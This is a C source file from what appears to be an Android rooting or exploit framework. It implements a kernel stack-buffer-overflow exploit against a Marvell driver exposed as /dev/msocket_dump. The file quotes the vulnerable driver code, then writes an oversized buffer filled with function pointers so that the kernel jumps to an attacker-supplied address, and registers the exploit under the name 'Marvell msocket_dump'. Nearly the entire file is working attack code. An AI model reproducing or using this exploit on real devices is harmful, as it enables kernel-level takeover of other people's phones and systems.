
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <malloc.h>
#include <pthread.h>

struct private_data_msocket {
    int fd;
    long addr;
};

static int msocket_dump_init(void **opaque) {
    struct private_data_msocket *p;

    p = (struct private_data_msocket *) malloc(sizeof(*p));
    if (!p)
        return -1;
    p->fd = open("/dev/msocket_dump", O_WRONLY);
    if (p->fd < 0)
        goto bail;
    *opaque = p;
    return 0;
bail:
    free(p);
    return -1;
}

static void msocket_dump_free(void **opaque) {
    struct private_data_msocket *p;

    p = (struct private_data_msocket *)(*opaque);
    if (p != NULL) {
    	if (p->fd >= 0)
    	        close(p->fd);
    	    free(p);

    	    *opaque = 0;
    }
}


static int execflag = 0;
static long realaddr = 0;

static void wrapper() {
    execflag = 1;
    if (realaddr) {
        ((int (*)(void)) realaddr)();
    }
    // XXX: ungly, but prevents kernel crash too soon
    while (1)
        ;
}


/*
Marvell code:
static ssize_t msocketDump_write(struct file *filp, const char __user *buf,
                 size_t len, loff_t *f_pos)
{
    char temp[256];
    int flag = 0;
    if (copy_from_user((void *)&temp, buf, len)) {
        printk(KERN_ERR "MSOCKDUMP: %s: copy_from_user failed.\n",
               __func__);
        return -EFAULT;
    }

stack:
sys_write
vfs_write
fops->write = msocketDump_write

msocketDump_write:
STMFD SP!, {R4,LR}
SUB SP, #0x108
...
ADD R0, SP, #8
BL __copy_from_user
*/
static void *overflow(void *param) {
    struct private_data_msocket *p;
    int rc, i;
    char buff[400];

    p = (struct private_data_msocket *) param;
    realaddr = p->addr;
    for (i = 0; i < sizeof(buff) / sizeof(long); i++)
        *((long *) buff + i) = (long) wrapper;
    rc = write(p->fd, buff, sizeof(buff));

    return (void *) rc;
}

static int msocket_dump_invoke(void *opaque, long addr) {
    struct private_data_msocket *p;
    int rc, n;
    pthread_t tid;
    void *ret = (void *)(-1);

    p = (struct private_data_msocket *) opaque;
    p->addr = addr;
    rc = pthread_create(&tid, NULL, overflow, p);
    if (rc)
        return rc;
    n = 0;
    while (execflag == 0) {
        usleep(10 * 1000);
        n++;
        if (n >= 100)
            break;
    }
    if (execflag)
        ret = 0;
    return (int) ret;
}

exploit_t EXPLOIT_marvell_msocket_dump = {
    .name = "Marvell msocket_dump",
    .init = msocket_dump_init,
    .free = msocket_dump_free,
    .invoke = msocket_dump_invoke,
};


void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(marvell_msocket_dump);

//    switch (g_type) {
//
//    case S_marvell_1:
//    	ADDEXP(marvell_msocket_dump);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
